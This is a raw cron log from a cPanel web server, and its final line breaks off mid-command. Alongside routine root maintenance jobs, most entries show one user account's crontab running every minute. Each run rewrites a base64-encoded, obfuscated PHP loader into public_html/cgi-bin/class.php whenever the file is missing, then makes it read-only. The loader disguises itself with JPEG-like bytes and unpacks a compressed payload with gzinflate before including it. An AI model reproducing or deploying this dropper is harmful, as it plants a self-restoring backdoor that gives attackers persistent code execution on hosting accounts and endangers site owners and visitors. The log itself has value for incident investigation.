Apr 11 08:48:01 server CROND[9313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:49:01 server CROND[9362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:50:01 server CROND[9423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:50:01 server CROND[9425]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 08:50:01 server CROND[9424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:50:01 server CROND[9428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:50:01 server CROND[9427]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 08:51:01 server CROND[9537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:52:01 server CROND[9585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:53:01 server CROND[9747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:54:01 server CROND[9802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:55:01 server CROND[9848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:55:01 server CROND[9849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:55:01 server CROND[9850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:56:01 server CROND[9944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:57:01 server CROND[9994]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 08:57:01 server CROND[9995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:58:01 server CROND[10150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:59:01 server CROND[10207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:00:01 server CROND[10256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 09:00:01 server CROND[10257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 09:00:01 server CROND[10258]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 09:00:01 server CROND[10261]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Apr 11 09:00:01 server CROND[10264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:01:01 server CROND[10393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1